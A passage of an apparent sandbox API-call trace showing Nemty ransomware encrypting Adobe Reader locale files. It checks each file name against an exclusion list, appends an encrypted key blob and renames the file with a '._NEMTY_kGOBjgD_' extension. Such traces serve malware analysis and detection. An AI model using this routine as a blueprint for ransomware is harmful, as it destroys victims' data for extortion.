cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DAN", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.DAN", lpUsedDefaultChar=0x0) returned 10 [0174.605] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.606] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DAN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.606] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.DAN", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.DAN", lpUsedDefaultChar=0x0) returned 10 [0174.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.606] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.606] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.606] Sleep (dwMilliseconds=0x5) [0174.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bb8c310, dwHighDateTime=0x1d561e8)) [0174.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bb8c310, dwHighDateTime=0x1d561e8)) [0174.609] GetLastError () returned 0x0 [0174.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.609] GetLastError () returned 0x0 [0174.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.609] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.609] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.609] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0174.609] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="nNbkZRz5AYQddZOYnowJnM350QeK2nRrML26awPPG11ByiQeEj4LLeYED7sX5FTC\r\n7IDunsCAx0MPc1/YaYwTE5kDmP1xPXhwxHHgjbjZy/GDB9N+PX/Ehfr3zVrWM55I\r\nRNjevYUu6VdmU7I4INf9kYxemajREZZeZXfOu+qLJlw6L6hMHZv4l1czapcxkLwx\r\nH3Ia3+ZDcypSjLuT2jimaPLWUqId/EFAtkYDVOn1He3IKQ/LCRVbIrD7eHXrdba6\r\nBwA8lffkR6th+w9LTOKWxh/BSBFR/EbFUkaFBneYG4NkRMvstPjU9EeVVCjUrQCX\r\niMHPJj2dq+t9quoxXSpKrg==\r\n", pcchString=0x653e5dc) returned 1 [0174.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.609] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0174.609] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.609] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DigSig.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\digsig.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.610] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=127488) returned 1 [0174.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0174.610] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.610] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0174.619] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.619] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0174.619] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.619] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=127488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f200 [0174.619] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.619] CloseHandle (hObject=0x2e8) returned 1 [0174.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.620] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.620] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0174.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.620] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DigSig.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\digsig.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DigSig.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\digsig.dan._nemty_kgobjgd_")) returned 1 [0174.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0174.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.620] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.621] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.DAN", cAlternateFileName="")) returned 1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2=".") returned 1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="..") returned 1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="...") returned 1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="windows") returned -1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="rsa") returned -1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="NTDETECT.COM") returned -1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="ntldr") returned -1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="MSDOS.SYS") returned -1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="IO.SYS") returned -1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="boot.ini") returned 1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="boot.ini") returned 1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="ntuser.dat") returned -1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="desktop.ini") returned 1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="CONFIG.SYS") returned 1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="RECYCLER") returned -1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="bootmgr") returned 1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="programdata") returned -1 [0174.621] lstrcmpiW (lpString1="DVA.DAN", lpString2="appdata") returned 1 [0174.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DAN", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0174.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DAN", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.DAN", lpUsedDefaultChar=0x0) returned 7 [0174.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DAN", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0174.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DAN", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.DAN", lpUsedDefaultChar=0x0) returned 7 [0174.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DAN", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0174.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DAN", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.DAN", lpUsedDefaultChar=0x0) returned 7 [0174.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DAN", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0174.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.DAN", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.DAN", lpUsedDefaultChar=0x0) returned 7 [0174.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.622] Sleep (dwMilliseconds=0x5) [0174.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bbb2470, dwHighDateTime=0x1d561e8)) [0174.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bbb2470, dwHighDateTime=0x1d561e8)) [0174.624] GetLastError () returned 0x0 [0174.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.624] GetLastError () returned 0x0 [0174.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.624] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.624] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.624] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.624] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.624] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0174.625] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="tD1ptLubb7CbtXyCUbMY8XzC4GReoHSV1TrtvXkJKqE15Tvl3xv7tvYTCeXyoO/J\r\nkN9kGCWRJnqPh/rdBCOBHsx/o7WiD9gwb/0opALEeKjQ8yv56tu84kFP5TVbPI9u\r\n6i+1f+7DUvJxn3ZgwYSPLtXXr9Ogzc0n9vIz23MaWGfjTCSSoXIiwEpZaIzNo8Ou\r\neSXUj3gVn90pWHVnNTeto3QnC2RmUEFfip2EIWtk1Lq7+71LXE5TIsS47L0JW4g3\r\nm9Q6HDdohL4lQC2vRfhZnC8UfRhQoGs4fo9KU+uzoBWjzPvHCF9AXeK+nahUmkRn\r\nV4VF+j7t6KJsDiuFl6KkPg==\r\n", pcchString=0x653e5dc) returned 1 [0174.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.625] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0174.625] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.625] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DVA.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\dva.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.626] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=18944) returned 1 [0174.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4a00) returned 0x6352c48 [0174.626] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.626] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4a00, lpOverlapped=0x0) returned 1 [0174.628] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.629] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4a00, lpOverlapped=0x0) returned 1 [0174.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.629] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=18944, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4a00 [0174.629] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.629] CloseHandle (hObject=0x2e8) returned 1 [0174.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0174.629] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0174.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0174.629] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.629] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DVA.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\dva.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DVA.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\dva.dan._nemty_kgobjgd_")) returned 1 [0174.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0174.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.630] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.630] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eBook.DAN", cAlternateFileName="")) returned 1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2=".") returned 1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="..") returned 1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="...") returned 1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="windows") returned -1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="rsa") returned -1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="NTDETECT.COM") returned -1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="ntldr") returned -1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="MSDOS.SYS") returned -1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="IO.SYS") returned -1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="boot.ini") returned 1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="boot.ini") returned 1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="ntuser.dat") returned -1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="desktop.ini") returned 1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="CONFIG.SYS") returned 1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="RECYCLER") returned -1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="bootmgr") returned 1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="programdata") returned -1 [0174.630] lstrcmpiW (lpString1="eBook.DAN", lpString2="appdata") returned 1 [0174.630] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DAN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0174.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DAN", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.DAN", lpUsedDefaultChar=0x0) returned 9 [0174.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DAN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0174.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DAN", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.DAN", lpUsedDefaultChar=0x0) returned 9 [0174.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DAN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 